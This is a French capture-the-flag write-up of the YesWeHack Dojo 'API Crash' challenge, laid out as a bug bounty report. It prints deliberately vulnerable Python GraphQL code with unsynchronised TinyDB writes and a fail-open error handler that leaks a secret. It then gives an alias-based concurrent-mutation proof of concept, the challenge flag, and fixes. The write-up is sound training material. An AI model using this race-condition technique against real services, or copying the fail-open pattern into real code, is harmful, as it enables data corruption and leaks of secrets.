Dojo #47
Challenge "API Crash" du dojo de YesWeHack (décembre 2025)
Le
Le Dojo de YesWeHack est un espace d’entraînement pratique où les hunters peuvent développer leurs compétences en identifiant et exploitant des failles de sécurité à travers une série de défis dédiés au bug bounty. C'est pourquoi les articles de cette catégorie sont tournés comme des rapports de bug bounty.
📝 Summary
Une vulnérabilité critique de type Race Condition menant à une Fuite d'Informations Sensibles a été identifiée dans le mécanisme de mise à jour des publications. Le problème provient de l'utilisation de fils d'exécution non synchronisés pour modifier une base de données JSON qui n'est pas sécurisée pour l'accès concurrent.
En utilisant des alias GraphQL, un attaquant peut forcer l'exécution simultanée de plusieurs opérations d'écriture sur le même fichier data.json. Cette concurrence provoque une corruption du fichier JSON. Lors de l'exécution suivante de la requête de lecture, le parseur échoue, déclenchant un bloc de gestion d'erreur qui expose directement la variable d'environnement FLAG dans le rendu de la page.
✍ Code
import os, json, tinydb, graphene, threading
from urllib.parse import unquote
from jinja2 import Environment, FileSystemLoader
template = Environment(
autoescape=True,
loader=FileSystemLoader('/tmp/templates'),
).get_template('index.html')
os.chdir('/tmp')
threads = []
db = tinydb.TinyDB('data.json')
# Define a proper Post type so Graphene knows the structure
class Post(graphene.ObjectType):
id = graphene.Int()
content = graphene.String()
class GraphqlQuery(graphene.ObjectType):
get_posts = graphene.List(Post)
update_post = graphene.Boolean(id=graphene.Int(), content=graphene.String())
def update_post_in_db(id, content):
node = db.search(tinydb.Query().id == int(id))
if node == []:
return False
else:
node[0]['content'] = content
db.update(node[0], tinydb.Query().id == int(id))
return True
def resolve_update_post(self, info, id, content):
t = threading.Thread(target=GraphqlQuery.update_post_in_db, args=[id, content])
t.start()
threads.append(t)
def resolve_get_posts(self, info):
return db.all()
def main():
# User input (GraphQL query)
query = unquote(input(""))
schema = graphene.Schema(query=GraphqlQuery)
schema.execute(query)
# Wait for all GraphQL processes to finish
for t in threads:
t.join()
result = schema.execute("{ getPosts { id content } }")
# Check if the JSON in the posts are malformed
posts = {}
# TODO : Random crashes appear time to time with same input, but different error. We working on a fix.
if result.errors:
posts = json.dumps({"FLAG": os.environ["FLAG"]}, indent=2)
else:
posts = json.dumps(result.data, indent=2)
print(template.render(posts=posts))
main()
🔍 Technical Details
VID-01 — Race Condition via Threading and TinyDB Corruption
Vulnerability type: Race Condition / Information Disclosure
Affected components: GraphqlQuery.resolve_update_post, tinydb storage
Severity: Critique
L'application utilise graphene pour exposer une interface GraphQL. Le processus de mise à jour est asynchrone par conception :
- L'utilisateur envoie une mutation (via
update_post). - Pour chaque appel, un nouveau thread est instancié via
threading.Thread. - Chaque thread tente de lire et d'écrire dans
data.jsonvia tinydb.
TinyDB n'est pas conçu pour gérer des écritures concurrentes provenant de plusieurs threads. Lorsqu'une requête GraphQL contient des dizaines d'appels à update_post (via le mécanisme d'alias), les threads entrent en collision lors de l'accès au fichier.
Si un thread commence à écrire pendant qu'un autre modifie le fichier, le contenu de data.json est corrompu (tronqué ou syntaxe JSON invalide). Le script exécute ensuite une requête de contrôle : result = schema.execute("{ getPosts { id content } }"). À cause de la corruption, result.errors devient vrai, et le code affiche le flag.
🧠 Root Cause
Absence de mécanisme de verrouillage (Locking) Le code ne définit aucun
threading.Lock()pour synchroniser l'accès à la fonctionupdate_post_in_db. Plusieurs threads tentent d'écrire sur le disque en même temps.Limitations de TinyDB Contrairement à SQLite ou PostgreSQL, TinyDB est une base de données NoSQL simple basée sur un fichier JSON. Elle ne possède pas de gestionnaire de transactions ou de verrouillage interne pour les accès concurrents.
Gestion d'erreur "Fail-Open" La logique de gestion d'erreur est dangereuse :
if result.errors:
posts = json.dumps({"FLAG": os.environ["FLAG"]}, indent=2)
Au lieu de renvoyer un message d'erreur générique ou de journaliser l'incident, l'application choisit d'exposer un secret système (FLAG) si le traitement GraphQL échoue.
💥 Impact
Un attaquant peut :
- Corrompre l'intégrité des données de l'application de manière permanente.
- Extraire des secrets système (le FLAG) en provoquant volontairement un crash du parseur JSON.
- Causer un déni de service local sur le fichier de base de données.
🛡️ Recommendations
Utiliser une base de données Thread-Safe Pour des accès concurrents, préférez SQLite (avec les précautions d'usage) ou un vrai SGBD.
Implémenter des verrous (Locks) Si l'utilisation de TinyDB est maintenue, il est impératif d'encadrer l'écriture par un verrou :
db_lock = threading.Lock()
def update_post_in_db(id, content):
with db_lock:
# opération d'écriture ici
- Sécuriser la gestion d'erreurs Ne jamais exposer de variables d'environnement ou de secrets dans les messages d'erreur destinés à l'utilisateur final.
- Éviter le threading inutile Dans ce contexte, l'utilisation de threads pour une simple mise à jour de base de données locale introduit une complexité et des risques de sécurité sans gain de performance réel.
✅ Proof of Concept (PoC)
L'attaque consiste à envoyer une requête GraphQL massive utilisant des alias pour saturer les threads :
{
a: updatePost(id: 1, content: "A"),
b: updatePost(id: 1, content: "B"),
c: updatePost(id: 1, content: "C"),
d: updatePost(id: 1, content: "D"),
e: updatePost(id: 1, content: "E"),
f: updatePost(id: 1, content: "F"),
g: updatePost(id: 1, content: "G"),
h: updatePost(id: 1, content: "H"),
i: updatePost(id: 1, content: "I"),
j: updatePost(id: 1, content: "J")
}
Résultat :
- Les 10 threads tentent d'écrire dans data.json simultanément.
- data.json devient un fichier invalide.
- La requête getPosts échoue.
- Le serveur répond avec :
{
"FLAG": "FLAG{M4ke_It_Cr4sh_Th3y_Sa1d?!}"
}
FLAG
FLAG{M4ke_It_Cr4sh_Th3y_Sa1d?!}